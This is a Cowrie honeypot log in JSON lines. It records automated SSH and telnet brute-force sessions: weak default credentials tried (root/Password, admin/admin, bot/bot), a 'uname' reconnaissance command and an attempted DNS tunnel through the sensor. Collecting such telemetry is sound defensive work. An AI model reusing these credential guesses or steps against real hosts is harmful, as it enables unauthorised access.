{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:50:18.965148Z","src_ip":"83.168.110.85","session":"40ae8733cb55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password","message":"login attempt [root/Password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:50:19.333712Z","src_ip":"83.168.110.85","session":"40ae8733cb55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:50:20.540742Z","src_ip":"83.168.110.85","session":"40ae8733cb55","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":37622,"dst_ip":"159.203.135.109","dst_port":22,"session":"f98904c0af2c","protocol":"ssh","message":"New connection: 83.168.110.85:37622 (159.203.135.109:22) [session: f98904c0af2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:50:29.211907Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:50:29.222719Z","src_ip":"83.168.110.85","session":"f98904c0af2c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:50:29.344516Z","src_ip":"83.168.110.85","session":"f98904c0af2c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"bot","password":"bot","message":"login attempt [bot/bot] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:50:29.710385Z","src_ip":"83.168.110.85","session":"f98904c0af2c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:50:30.006724Z","src_ip":"83.168.110.85","session":"f98904c0af2c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:50:30.011223Z","src_ip":"83.168.110.85","session":"f98904c0af2c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:50:30.138091Z","src_ip":"83.168.110.85","session":"f98904c0af2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:50:30.148838Z","src_ip":"83.168.110.85","session":"f98904c0af2c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.195.236.96","src_port":36126,"dst_ip":"159.203.135.109","dst_port":22,"session":"9f0c5a81cd72","protocol":"ssh","message":"New connection: 103.195.236.96:36126 (159.203.135.109:22) [session: 9f0c5a81cd72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:50:32.450633Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:50:32.455925Z","src_ip":"103.195.236.96","session":"9f0c5a81cd72","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:50:32.696637Z","src_ip":"103.195.236.96","session":"9f0c5a81cd72","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ijrjkflrf","message":"login attempt [root/ijrjkflrf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:50:33.413443Z","src_ip":"103.195.236.96","session":"9f0c5a81cd72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:50:34.654165Z","src_ip":"103.195.236.96","session":"9f0c5a81cd72","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":36290,"dst_ip":"159.203.135.109","dst_port":22,"session":"f13ac5b8ed47","protocol":"ssh","message":"New connection: 83.168.110.85:36290 (159.203.135.109:22) [session: f13ac5b8ed47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:50:39.554685Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:50:39.562689Z","src_ip":"83.168.110.85","session":"f13ac5b8ed47","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:50:39.683393Z","src_ip":"83.168.110.85","session":"f13ac5b8ed47","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"opc","password":"opc","message":"login attempt [opc/opc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:50:40.050934Z","src_ip":"83.168.110.85","session":"f13ac5b8ed47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:50:41.198016Z","src_ip":"83.168.110.85","session":"f13ac5b8ed47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":33660,"dst_ip":"159.203.135.109","dst_port":22,"session":"316f59e222bd","protocol":"ssh","message":"New connection: 83.168.110.85:33660 (159.203.135.109:22) [session: 316f59e222bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:50:49.884939Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:50:49.890726Z","src_ip":"83.168.110.85","session":"316f59e222bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:50:50.013833Z","src_ip":"83.168.110.85","session":"316f59e222bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amir","password":"amir","message":"login attempt [amir/amir] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:50:50.377845Z","src_ip":"83.168.110.85","session":"316f59e222bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:50:51.561958Z","src_ip":"83.168.110.85","session":"316f59e222bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":22266,"dst_ip":"10.17.0.5","dst_port":22,"session":"d33fcdb01d41","protocol":"ssh","message":"New connection: 87.251.64.176:22266 (10.17.0.5:22) [session: d33fcdb01d41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:50:53.953814Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:50:53.959432Z","src_ip":"87.251.64.176","session":"d33fcdb01d41","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:50:54.122700Z","src_ip":"87.251.64.176","session":"d33fcdb01d41","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:50:54.603733Z","src_ip":"87.251.64.176","session":"d33fcdb01d41","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:50:54.774301Z","session":"d33fcdb01d41","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:50:55.343045Z","src_ip":"87.251.64.176","session":"d33fcdb01d41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:50:55.508223Z","src_ip":"87.251.64.176","session":"d33fcdb01d41","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.187.108.86","src_port":52776,"dst_ip":"10.17.0.5","dst_port":23,"session":"114c53700a4e","protocol":"telnet","message":"New connection: 109.187.108.86:52776 (10.17.0.5:23) [session: 114c53700a4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:50:56.610843Z"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":35416,"dst_ip":"159.203.135.109","dst_port":22,"session":"0bf5209ad965","protocol":"ssh","message":"New connection: 83.168.110.85:35416 (159.203.135.109:22) [session: 0bf5209ad965]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:51:00.145720Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:51:00.151550Z","src_ip":"83.168.110.85","session":"0bf5209ad965","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:51:00.272670Z","src_ip":"83.168.110.85","session":"0bf5209ad965","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@55w0rd","message":"login attempt [root/P@55w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:51:00.637125Z","src_ip":"83.168.110.85","session":"0bf5209ad965","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:51:01.854387Z","src_ip":"83.168.110.85","session":"0bf5209ad965","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.185.39","src_port":38554,"dst_ip":"159.203.135.109","dst_port":22,"session":"03c70694907f","protocol":"ssh","message":"New connection: 160.251.185.39:38554 (159.203.135.109:22) [session: 03c70694907f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:51:03.217636Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:51:03.222593Z","src_ip":"160.251.185.39","session":"03c70694907f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:51:03.393762Z","src_ip":"160.251.185.39","session":"03c70694907f","protocol":"ssh"}
